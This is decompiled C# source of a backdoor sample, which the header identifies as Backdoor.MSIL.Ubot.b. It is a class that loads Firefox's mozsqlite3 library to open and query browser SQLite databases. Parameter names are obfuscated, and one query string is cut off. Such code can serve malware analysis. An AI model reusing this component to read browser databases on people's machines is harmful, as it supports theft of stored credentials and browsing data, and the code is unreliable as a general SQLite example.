// Decompiled with JetBrains decompiler
// Type: Base
// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.Data;
using System.Runtime.InteropServices;
using System.Text;

public class Base
{
  private const int SQL_OK = 0;
  private const int SQL_ROW = 100;
  private const int SQL_DONE = 101;
  private IntPtr database;

  [DllImport("kernel32")]
  private static extern IntPtr HeapAlloc(
    IntPtr heap,
    uint flags,
    uint lmwXcoftBrueIDsqQpslhlanGoQRna);

  [DllImport("kernel32")]
  private static extern IntPtr GetProcessHeap();

  [DllImport("kernel32")]
  private static extern int lstrlen(IntPtr str);

  [DllImport("mozsqlite3")]
  private static extern int sqlite3_open(IntPtr fileName, ref IntPtr database);

  [DllImport("mozsqlite3")]
  private static extern int sqlite3_close(IntPtr database);

  [DllImport("mozsqlite3")]
  private static extern int sqlite3_exec(
    IntPtr database,
    IntPtr xvqbvqxDUuohuGMtksLnbutqZxjuhJ,
    IntPtr callback,
    IntPtr arguments,
    ref IntPtr error);

  [DllImport("mozsqlite3")]
  private static extern IntPtr sqlite3_errmsg(IntPtr database);

  [DllImport("mozsqlite3")]
  private static extern int sqlite3_prepare_v2(
    IntPtr database,
    IntPtr xvqbvqxDUuohuGMtksLnbutqZxjuhJ,
    int CRjhCmhdjogGzsGrXfvexzMGfClkug,
    ref IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
    ref IntPtr tail);

  [DllImport("mozsqlite3")]
  private static extern int sqlite3_step(IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD);

  [DllImport("mozsqlite3")]
  private static extern int sqlite3_column_count(IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD);

  [DllImport("mozsqlite3")]
  private static extern IntPtr sqlite3_column_name(
    IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
    int columnNumber);

  [DllImport("mozsqlite3")]
  private static extern int sqlite3_column_type(
    IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
    int columnNumber);

  [DllImport("mozsqlite3")]
  private static extern int sqlite3_column_int(
    IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
    int columnNumber);

  [DllImport("mozsqlite3")]
  private static extern double sqlite3_column_double(
    IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
    int columnNumber);

  [DllImport("mozsqlite3")]
  private static extern IntPtr sqlite3_column_text(
    IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
    int columnNumber);

  [DllImport("mozsqlite3")]
  private static extern IntPtr sqlite3_column_blob(
    IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
    int columnNumber);

  [DllImport("mozsqlite3")]
  private static extern IntPtr sqlite3_column_table_name(
    IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
    int columnNumber);

  [DllImport("mozsqlite3")]
  private static extern int sqlite3_finalize(IntPtr handle);

  public Base() => this.database = IntPtr.Zero;

  public Base(string baseName) => this.OpenDatabase(baseName);

  public void OpenDatabase(string baseName)
  {
    if (Base.sqlite3_open(this.StringToPointer(baseName), ref this.database) == 0)
      return;
    this.database = IntPtr.Zero;
  }

  public void CloseDatabase()
  {
    if (!(this.database != IntPtr.Zero))
      return;
    Base.sqlite3_close(this.database);
  }

  public ArrayList GetTables()
  {
    DataTable dataTable = this.ExecuteQuery("SELECT name FROM sqlite_master WHERE type IN (");
    ArrayList tables = new ArrayList();
    try
    {
      foreach (DataRow row in dataTable.Rows)
        tables.Add((object) row.ItemArray[0].ToString());
    }
    finally
    {
      IEnumerator enumerator;
      if (enumerator is IDisposable)
        (enumerator as IDisposable).Dispose();
    }
    return tables;
  }

  public void ExecuteNonQuery(string xvqbvqxDUuohuGMtksLnbutqZxjuhJ)
  {
    try
    {
      IntPtr error;
      Base.sqlite3_exec(this.database, this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ), IntPtr.Zero, IntPtr.Zero, ref error);
      int num = error != IntPtr.Zero ? 1 : 0;
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
  }

  public DataTable ExecuteQuery(string xvqbvqxDUuohuGMtksLnbutqZxjuhJ)
  {
    IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD;
    IntPtr tail;
    Base.sqlite3_prepare_v2(this.database, this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ), this.GetPointerLenght(this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ)), ref ugsomsbismrdBPQhqtxSimmmoadhWD, ref tail);
    DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq = new DataTable();
    int num = this.ReadFirstRow(ugsomsbismrdBPQhqtxSimmmoadhWD, ref WCelvwBgEsajtdaulPPorkGkYgfnpq);
    while (num == 100)
      num = this.ReadNextRow(ugsomsbismrdBPQhqtxSimmmoadhWD, ref WCelvwBgEsajtdaulPPorkGkYgfnpq);
    Base.sqlite3_finalize(ugsomsbismrdBPQhqtxSimmmoadhWD);
    return WCelvwBgEsajtdaulPPorkGkYgfnpq;
  }

  private int ReadFirstRow(
    IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
    ref DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq)
  {
    WCelvwBgEsajtdaulPPorkGkYgfnpq = new DataTable("resultTable");
    if (Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD) == 100)
    {
      int num1 = Base.sqlite3_column_count(ugsomsbismrdBPQhqtxSimmmoadhWD);
      object[] objArray = new object[checked (num1 - 1 + 1)];
      int num2 = checked (num1 - 1);
      int columnNumber = 0;
      while (columnNumber <= num2)
      {
        string columnName = this.PointerToString(Base.sqlite3_column_name(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
        switch (Base.sqlite3_column_type(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber))
        {
          case 1:
            WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.Int32"));
            objArray[columnNumber] = (object) Base.sqlite3_column_int(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
            break;
          case 2:
            WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.Single"));
            objArray[columnNumber] = (object) Base.sqlite3_column_double(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
            break;
          case 3:
            WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String"));
            objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_text(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
            break;
          case 4:
            WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String"));
            objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_blob(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
            break;
          default:
            WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String"));
            objArray[columnNumber] = (object) "";
            break;
        }
        checked { ++columnNumber; }
      }
      WCelvwBgEsajtdaulPPorkGkYgfnpq.Rows.Add(objArray);
    }
    return Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD);
  }

  private int ReadNextRow(
    IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
    ref DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq)
  {
    int num1 = Base.sqlite3_column_count(ugsomsbismrdBPQhqtxSimmmoadhWD);
    object[] objArray = new object[checked (num1 - 1 + 1)];
    int num2 = checked (num1 - 1);
    int columnNumber = 0;
    while (columnNumber <= num2)
    {
      switch (Base.sqlite3_column_type(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber))
      {
        case 1:
          objArray[columnNumber] = (object) Base.sqlite3_column_int(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
          break;
        case 2:
          objArray[columnNumber] = (object) Base.sqlite3_column_double(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
          break;
        case 3:
          objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_text(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
          break;
        case 4:
          objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_blob(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
          break;
        default:
          objArray[columnNumber] = (object) "";
          break;
      }
      checked { ++columnNumber; }
    }
    WCelvwBgEsajtdaulPPorkGkYgfnpq.Rows.Add(objArray);
    return Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD);
  }

  private IntPtr StringToPointer(string str)
  {
    if (str == null)
      return IntPtr.Zero;
    byte[] bytes = Encoding.UTF8.GetBytes(str);
    int lmwXcoftBrueIDsqQpslhlanGoQRna = checked (bytes.Length + 1);
    IntPtr pointer = Base.HeapAlloc(Base.GetProcessHeap(), 0U, checked ((uint) lmwXcoftBrueIDsqQpslhlanGoQRna));
    Marshal.Copy(bytes, 0, pointer, bytes.Length);
    Marshal.WriteByte(pointer, bytes.Length, (byte) 0);
    return pointer;
  }

  private string PointerToString(IntPtr ptr)
  {
    if (ptr == IntPtr.Zero)
      return (string) null;
    Encoding utF8 = Encoding.UTF8;
    int pointerLenght = this.GetPointerLenght(ptr);
    byte[] numArray = new byte[checked (pointerLenght - 1 + 1)];
    Marshal.Copy(ptr, numArray, 0, pointerLenght);
    return utF8.GetString(numArray, 0, pointerLenght);
  }

  private int GetPointerLenght(IntPtr ptr) => ptr == IntPtr.Zero ? 0 : Base.lstrlen(ptr);

  public enum SQLiteDataTypes
  {
    INT = 1,
    FLOAT = 2,
    TEXT = 3,
    BLOB = 4,
    NULL = 5,
  }
}
